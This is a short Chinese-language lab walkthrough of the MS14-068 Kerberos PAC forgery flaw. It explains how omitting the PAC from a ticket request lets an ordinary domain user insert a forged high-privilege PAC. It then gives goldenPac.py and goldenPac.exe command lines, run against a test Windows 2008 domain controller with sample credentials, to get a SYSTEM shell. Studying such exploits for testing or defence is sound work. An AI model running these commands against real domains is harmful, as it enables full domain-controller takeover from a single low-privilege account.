这是一个危害较高的漏洞:只需要一个域内的普通用户的账户密码,便可拿到域控的权限
建议看本文章前,先把之前写的NTLM与kerberos认证体系详解这篇文章看完。
利用伪造的高权限的PAC来获取一个带有高权限PAC的TGT。
(关于pac是什么可以看完上面的那个文章)
在我们的AS_REQ 请求中如果include-pac被置为 true,那么我们的 AS 会在返回的 TGT 中加入 PAC信息,如果我们在 AS_REQ 数据包中,将include-pac被置为 false,那么 AS_REP 返回的 TGT 中就不会包含 PAC
信息。在TGT中没有PAC信息后,我们就可以使用域用户去伪造"恶意"的PAC放入TGS_REQ中,KDC解密PAC后会再次加密到一个新的TGT中并返回给域用户(注意这里KDC返回的是一个TGT并不是一个ticket),此时的TGT中已经携带了“恶意”PAC,也就达到漏洞利用的目的。
通过以上流程我们成功获得了一个高权限的TGT。
攻击机:mac
域控:win2008 172.16.84.35
域内普通用户:test/1qaz@WSX
攻击工具: goldenPac
(这个工具最方便,有py与exe两种。是 ms14-068 与 psexec 的结合,可以直接获得一个shell回来)
# goldenPac.py
python3 goldenPac.py walking.com/test:1qaz@WSX@DC.walking.com -dc-ip 172.16.84.35 -target-ip 172.16.84.35 -debug
# goldenPac.exe
goldenPac.exe walking.com/test:1qaz@WSX@DC.walking.com
运行脚本:

成功获得域控的system权限shell:
